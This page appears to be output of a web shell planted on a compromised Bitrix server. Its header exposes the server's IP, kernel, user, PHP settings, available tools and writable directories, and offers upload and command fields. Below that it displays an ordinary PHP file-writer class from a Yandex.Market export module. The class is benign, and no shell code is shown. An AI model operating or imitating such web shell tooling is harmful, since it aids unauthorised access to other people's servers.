403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/yandex.market/lib/export/run/writer/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/yandex.market/lib/export/run/writer/file.php
<?php

namespace Yandex\Market\Export\Run\Writer;

use Bitrix\Main;
use Yandex\Market;

Main\Localization\Loc::loadMessages(__FILE__);

class File extends Base
{
	const BUFFER_LENGTH = 8192;
	const NULL_REFERENCE = 'null_reference';

	protected $filePath;
	protected $fileResource;
	protected $tempResource;
	protected $bufferLength;

	public function __construct(array $parameters = [])
	{
		parent::__construct($parameters);

		$this->filePath = $this->getParameter('filePath');
	}

	public function destroy()
	{
		$this->releaseFileResource();
		$this->releaseTempResource();
	}

	public function getPath()
	{
		return $this->filePath;
	}

	public function refresh()
	{
		$this->releaseFileResource();
	}

	public function lock($isBlocked = false)
	{
		$file = $this->getFileResource();
		$mode = null;

		if ($isBlocked)
		{
			$mode = LOCK_EX;
		}
		else
		{
			$mode = LOCK_EX | LOCK_NB;
		}

		return flock($file, $mode);
	}

	public function unlock()
	{
		$file = $this->getFileResource();

		return flock($file, LOCK_UN);
	}

	public function move($filePath)
	{
		$this->releaseFileResource();

		if (file_exists($filePath)) { unlink($filePath); }

		rename($this->filePath, $filePath);

		$this->filePath = $filePath;
	}

	public function copy($fromPath)
	{
		$this->releaseFileResource();

		if (file_exists($this->filePath)) { unlink($this->filePath); }

		copy($fromPath, $this->filePath);
	}

	public function remove()
	{
		$this->releaseFileResource();

		if (file_exists($this->filePath)) { unlink($this->filePath); }
	}

	public function getPointer()
	{
		$resource = $this->getFileResource();

		return ftell($resource);
	}

	public function setPointer($position)
	{
		$resource = $this->getFileResource();

		fseek($resource, $position);
	}

	public function writeRoot($element, $header = '')
	{
		$resource = $this->getFileResource();
		$contents = $header;
		$contents .= ($element instanceof \SimpleXMLElement ? $element->asXML() : $element);

		ftruncate($resource, 0);
		fseek($resource, 0);

		$this->fileWrite($resource, $contents);
	}

	public function writeTagList($elementList, $parentName, $position = null)
	{
		$anchorPosition = $this->anchorPosition($parentName, $position);

		if ($anchorPosition === null) { return []; }

		$contents = '';
		$result = [];

		foreach ($elementList as $elementId => $element)
		{
			$elementContent = $element instanceof \SimpleXMLElement ? $element->asXML() : $element;

			$result[$elementId] = Market\Export\Run\Helper\BinaryString::getLength($elementContent);
			$contents .= $elementContent;
		}

		$this->writeSplice($anchorPosition, $anchorPosition, $contents);

		return $result;
	}

	protected function anchorPosition($parentName, $position = null)
	{
		list($searchName, $isAfterSearch) = $this->anchorTag($parentName, $position);
		$result = $this->getPosition($searchName);

		if ($result === null) { return null; }

		if ($isAfterSearch)
		{
			$result += Market\Export\Run\Helper\BinaryString::getLength($searchName);
		}

		return $result;
	}

	protected function anchorTag($parentName, $position = null)
	{
		switch ($position)
		{
			case static::POSITION_AFTER:
				$searchName = '</' . $parentName . '>';
				$isAfterSearch = true;
			break;

			case static::POSITION_BEFORE:
				$searchName = '<' . $parentName . '>';
				$isAfterSearch = false;
			break;

			case static::POSITION_PREPEND:
				$searchName = '<' . $parentName . '>';
				$isAfterSearch = true;
			break;

			case static::POSITION_APPEND:
			default:
				$searchName = '</' . $parentName . '>';
				$isAfterSearch = false;
			break;
		}

		return [$searchName, $isAfterSearch];
	}

	public function writeTag($element, $parentName, $position = null)
	{
		$writeResultList = $this->writeTagList([ static::NULL_REFERENCE => $element ], $parentName, $position);

		return reset($writeResultList);
	}

	public function writeParent($elementName, $parentName, $position = null)
	{
		$tag = '<' . $elementName . '></' . $elementName . '>';

		return $this->writeTag($tag, $parentName, $position);
	}

	public function updateAttributeList($tagName, $elementAttributeList, $idAttr = 'id')
	{
		$searchList = [];

		foreach ($elementAttributeList as $id => $attributeList)
		{
			if ($idAttr)
			{
				$searchList[$id] = '<' . $tagName . ' ' . $idAttr . '="' . $id . '"';
			}
			else
			{
				$searchList[$id] = '<' . $tagName;
			}
		}

		if (!empty($searchList))
		{
			$positionList = $this->getPositionList($searchList);

			asort($positionList, SORT_NUMERIC);

			foreach ($positionList as $elementId => &$tagOpenPosition)
			{
				$tagEndPosition = $this->getPosition('>', $tagOpenPosition + 1, '<'); // stop next open tag

				if ($tagEndPosition !== null)
				{
					$originalTag = $this->read($tagOpenPosition, $tagEndPosition);
					$newTag = $originalTag;
					$attributeList = $elementAttributeList[$elementId];
					$newAttributes = '';

					foreach ($attributeList as $attributeName => $attributeValue)
					{
						$attributeString = ' ' . $attributeName . '="' . $attributeValue . '"';

						if (preg_match('/ ' . $attributeName . '=".*?"/', $newTag, $matches))
						{
							$newTag = str_replace($matches[0], $attributeString, $newTag);
						}
						else
						{
							$newAttributes .= $attributeString;
						}
					}

					if ($newAttributes !== '')
					{
						if (Market\Data\TextString::getSubstring($newTag, -2) === ' /') // is self closed
						{
							$newTag .= Market\Data\TextString::getSubstring($newTag, 0, -2) . $newAttributes . ' /';
						}
						else
						{
							$newTag .= $newAttributes;
						}
					}

					if ($originalTag !== $newTag)
					{
						$this->writeSplice($tagOpenPosition, $tagEndPosition, $newTag);
					}
				}
			}
		}
	}

	public function updateAttribute($tagName, $id, $attributeList, $idAttr = 'id')
	{
		$this->updateAttributeList($tagName, [ $id => $attributeList ], $idAttr);
	}

	public function updateTagList($tagName, $elementList, $idAttr = 'id', $isSelfClosed = null)
	{
		$searchList = [];
		$result = [];

		foreach ($elementList as $id => $element)
		{
			if ($id === static::NULL_REFERENCE)
			{
				$searchList[$id] = '<' . $tagName . '>';
			}
			else
			{
				$searchList[$id] = '<' . $tagName . ' ' . $idAttr . '="' . $id . '"';
			}
		}

		if (!empty($searchList))
		{
			$positionList = $this->getPositionList($searchList);
			$positionMap = array_flip($positionList);
			$selfClose = '/>';
			$selfCloseLength = Market\Export\Run\Helper\BinaryString::getLength($selfClose);
			$tagClose = '</' . $tagName . '>';
			$tagCloseLength = Market\Export\Run\Helper\BinaryString::getLength($tagClose);
			$waitMergePositions = [];
			$waitMergeContents = [];

			asort($positionList, SORT_NUMERIC);

			$positionElements = array_keys($positionList);

			foreach ($positionElements as $elementId)
			{
				$position = $positionList[$elementId];
				$closePosition = null;
				$selfClosePosition = ($elementId !== static::NULL_REFERENCE && $isSelfClosed !== false ? $this->getPosition($selfClose, $position + 1, '<') : null); // stop next open tag

				if ($selfClosePosition !== null)
				{
					$closePosition = $selfClosePosition + $selfCloseLength;
				}
				else if ($isSelfClosed !== true)
				{
					$tagClosePosition = $this->getPosition($tagClose, $position + 1, '<' . $tagName . ' '); // stop on next tag same type

					if ($tagClosePosition !== null)
					{
						$closePosition = $tagClosePosition + $tagCloseLength;
					}
				}

				if ($closePosition === null) { continue; }

				$element = $elementList[$elementId];
				$elementContent = $element instanceof \SimpleXMLElement ? $element->asXML() : $element;
				$elementLength = Market\Export\Run\Helper\BinaryString::getLength($elementContent);
				$result[$elementId] = $elementLength;

				if (isset($positionMap[$closePosition]))
				{
					$mergeElementId = $positionMap[$closePosition];
					$mergePosition = $position;
					$mergeContents = $elementContent;

					if (isset($waitMergePositions[$elementId]))
					{
						$mergePosition = $waitMergePositions[$elementId];
						$mergeContents = $waitMergeContents[$elementId] . $mergeContents;

						unset($waitMergePositions[$elementId], $waitMergeContents[$elementId]);
					}

					$waitMergePositions[$mergeElementId] = $mergePosition;
					$waitMergeContents[$mergeElementId] = $mergeContents;
				}
				else
				{
					$newContents = $elementContent;

					if (isset($waitMergePositions[$elementId]))
					{
						$position = $waitMergePositions[$elementId];
						$newContents = $waitMergeContents[$elementId] . $newContents;

						unset($waitMergePositions[$elementId], $waitMergeContents[$elementId]);
					}

					$diffLength = $this->writeSplice($position, $closePosition, $newContents);

					if ($diffLength !== 0)
					{
						foreach ($positionList as $nextElementId => $nextPosition)
						{
							if ($nextPosition > $position)
							{
								unset($positionMap[$nextPosition]);

								$newPosition = $nextPosition + $diffLength;

								$positionList[$nextElementId] = $newPosition;
								$positionMap[$newPosition] = $nextElementId;
							}
						}
					}
				}
			}
		}

		return $result;
	}

	public function updateTag($tagName, $id, $element, $idAttr = 'id', $isSelfClosed = null)
	{
		if ($id === null)
		{
			$updateList = [ static::NULL_REFERENCE => $element ];
		}
		else
		{
			$updateList = [ $id => $element ];
		}

		$this->updateTagList($tagName, $updateList, $idAttr, $isSelfClosed);
	}

	public function searchTagList($tagName, $idList, $idAttr = 'id')
	{
		$searchList = [];
		$result = [];

		foreach ($idList as $id)
		{
			$searchList[$id] = '<' . $tagName . ' ' . $idAttr . '="' . $id . '"';
		}

		if (!empty($searchList))
		{
			$positionList = $this->getPositionList($searchList);
			$selfClose = '/>';
			$selfCloseLength = Market\Export\Run\Helper\BinaryString::getLength($selfClose);
			$tagClose = '</' . $tagName . '>';
			$tagCloseLength = Market\Export\Run\Helper\BinaryString::getLength($tagClose);

			asort($positionList, SORT_NUMERIC);

			foreach ($positionList as $id => $position)
			{
				$closePosition = null;
				$selfClosePosition = $this->getPosition($selfClose, $position + 1, '<'); // stop next open tag

				if ($selfClosePosition !== null)
				{
					$closePosition = $selfClosePosition + $selfCloseLength;
				}
				else
				{
					$tagClosePosition = $this->getPosition($tagClose, $position + 1, '<' . $tagName . ' '); // stop on next tag same type

					if ($tagClosePosition !== null)
					{
						$closePosition = $tagClosePosition + $tagCloseLength;
					}
				}

				if ($closePosition !== null)
				{
					$result[$id] = $this->read($position, $closePosition);
				}
			}
		}

		return $result;
	}

	public function searchTag($tagName, $id, $idAttr = 'id')
	{
		$listResult = $this->searchTagList($tagName, [ $id ], $idAttr);

		return isset($listResult[$id]) ? $listResult[$id] : null;
	}

	protected function writeSplice($startPosition, $finishPosition, $contents = '')
	{
		$resource = $this->getFileResource();
		$tempResource = null;
		$contentsLength = Market\Export\Run\Helper\BinaryString::getLength($contents);
		$diffLength  = $contentsLength - ($finishPosition - $startPosition);

		if ($diffLength !== 0) // copy contents after finish to temp
		{
			$tempResource = $this->getTempResource();

			$this->streamCopy($resource, $tempResource, null, $finishPosition);
		}

		if ($diffLength < 0) // hanging end
		{
			ftruncate($resource, $startPosition);
		}

		fseek($resource, $startPosition);

		if ($contentsLength > 0) // write contents
		{
			$this->fileWrite($resource, $contents, $contentsLength);
		}

		if ($diffLength !== 0) // return contents after finish to initial resource
		{
			fseek($tempResource, 0);

			$this->streamCopy($tempResource, $resource);

			fseek($resource, $finishPosition); // restore resource position
		}

		return $diffLength;
	}

	protected function read($startPosition, $finishPosition)
	{
		$resource = $this->getFileResource();

		fseek($resource, $startPosition);

		return fread($resource, $finishPosition - $startPosition);
	}

	protected function getPosition($search, $startPosition = null, $stopSearch = null)
	{
		$searchList = [ 0 => $search ];
		$positionList = $this->getPositionList($searchList, $startPosition, $stopSearch);

		return isset($positionList[0]) ? $positionList[0] : null;
	}

	protected function getPositionList($searchList, $startPosition = null, $stopSearch = null)
	{
		$resource = $this->getFileResource();
		$isSupportReturnToStart = false;
		$bufferLength = $this->getBufferLength();

		if (!isset($startPosition))
		{
			$isSupportReturnToStart = true;
			$startPosition = ftell($resource);
		}
		else
		{
			fseek($resource, $startPosition);
		}

		$currentPosition = $startPosition;
		$bufferPosition = $currentPosition;
		$buffer = '';
		$isEndOfFileReached = false;
		$searchCount = count($searchList);
		$foundCount = 0;
		$isAllFound = false;
		$result = [];

		do
		{
			$iterationBuffer = fread($resource, $bufferLength);
			$buffer .= $iterationBuffer;

			foreach ($searchList as $searchKey => $searchVariant)
			{
				if (!isset($result[$searchKey]))
				{
					$variantPosition = Market\Export\Run\Helper\BinaryString::getPosition($buffer, $searchVariant);

					if ($variantPosition !== false)
					{
						$result[$searchKey] = $bufferPosition + $variantPosition;
						$foundCount++;

						$isAllFound = ($searchCount === $foundCount);
					}
				}
			}

			if ($stopSearch !== null)
			{
				$stopPosition = Market\Export\Run\Helper\BinaryString::getPosition($buffer, $stopSearch);

				if ($stopPosition !== false)
				{
					$stopPosition += $bufferPosition;

					foreach ($result as $searchKey => $position)
					{
						if ($position > $stopPosition)
						{
							unset($result[$searchKey]);
						}
					}

					break;
				}
			}

			if ($isAllFound)
			{
				break;
			}

			$buffer = $iterationBuffer;
			$bufferPosition = $currentPosition;
			$currentPosition += $bufferLength;

			if (!$isEndOfFileReached && feof($resource))
			{
				if ($isSupportReturnToStart)
				{
					$isEndOfFileReached = true;
					$bufferPosition = 0;
					$currentPosition = 0;
					$buffer = '';

					fseek($resource, 0);
				}
				else
				{
					break;
				}
			}
		}
		while (!$isEndOfFileReached || $currentPosition < $startPosition);

		return $result;
	}

	/**
	 * @return resource
	 */
	protected function getFileResource()
	{
		if (!isset($this->fileResource))
		{
			CheckDirPath($this->filePath);

			if (!file_exists($this->filePath))
			{
				touch($this->filePath);
				chmod($this->filePath, BX_FILE_PERMISSIONS);
			}
			else if (!is_writable($this->filePath))
			{
				chmod($this->filePath, BX_FILE_PERMISSIONS);
			}

			$this->fileResource = fopen($this->filePath, 'rb+');

			if ($this->fileResource === false)
			{
				throw new Main\SystemException(Market\Config::getLang('EXPORT_RUN_WRITER_FILE_CANT_OPEN_FILE'));
			}
		}

		return $this->fileResource;
	}

	protected function releaseFileResource()
	{
		if (isset($this->fileResource))
		{
			fflush($this->fileResource);
			fclose($this->fileResource);

			$this->fileResource = null;
		}
	}

	protected function releaseTempResource()
	{
		if (isset($this->tempResource))
		{
			fclose($this->tempResource);

			$this->tempResource = null;
		}
	}

	protected function getTempResource()
	{
		if (isset($this->tempResource))
		{
			ftruncate($this->tempResource, 0);
			fseek($this->tempResource, 0);
		}
		else
		{
			$path = $this->getTempPath();
			$this->tempResource = fopen($path, 'rb+');

			if ($this->tempResource === false)
			{
				throw new Main\SystemException(Market\Config::getLang('EXPORT_RUN_WRITER_FILE_CANT_OPEN_TEMP'));
			}
		}

		return $this->tempResource;
	}

	protected function getTempPath()
	{
		$useMemory = (Market\Config::getOption('export_writer_memory', 'N') === 'Y');

		return $useMemory ? 'php://memory' : 'php://temp';
	}

	protected function getBufferLength()
	{
		if ($this->bufferLength === null)
		{
			$this->bufferLength = (int)Market\Config::getOption('export_run_writer_file_buffer_length');

			if ($this->bufferLength <= 0)
			{
				$this->bufferLength = static::BUFFER_LENGTH;
			}
		}

		return $this->bufferLength;
	}

	protected function fileWrite($resource, $contents, $totalLength = null)
	{
		if ($totalLength === null)
		{
			$totalLength = Market\Export\Run\Helper\BinaryString::getLength($contents);
		}

		$failCount = 0;
		$limitFail = 3;
		$readyLength = 0;

		do
		{
			$loopContents = $contents;

			if ($readyLength > 0)
			{
				$loopContents = Market\Export\Run\Helper\BinaryString::getSubstring($contents, $readyLength, $totalLength);
			}

			$loopLength = fwrite($resource, $loopContents);

			if ($loopLength === false)
			{
				throw new Main\SystemException(Market\Config::getLang('EXPORT_RUN_WRITER_FILE_CANT_WRITE_FILE'));
			}

			if ($loopLength <= 0)
			{
				$failCount++;

				if ($failCount >= $limitFail)
				{
					throw new Main\SystemException(Market\Config::getLang('EXPORT_RUN_WRITER_FILE_CANT_WRITE_FILE'));
				}
			}
			else
			{
				$readyLength += $loopLength;
			}
		}
		while ($readyLength < $totalLength);
	}

	protected function streamCopy($fromResource, $toResource, $maxLength = null, $offset = null)
	{
		if ($offset !== null)
		{
			if ($maxLength === null) { $maxLength = -1; }

			$copyResult = stream_copy_to_stream($fromResource, $toResource, $maxLength, $offset);
		}
		else if ($maxLength !== null)
		{
			$copyResult = stream_copy_to_stream($fromResource, $toResource, $maxLength);
		}
		else
		{
			$copyResult = stream_copy_to_stream($fromResource, $toResource);
		}

		if ($copyResult === false)
		{
			throw new Main\SystemException(Market\Config::getLang('EXPORT_RUN_WRITER_STREAM_COPY_FAILED'));
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit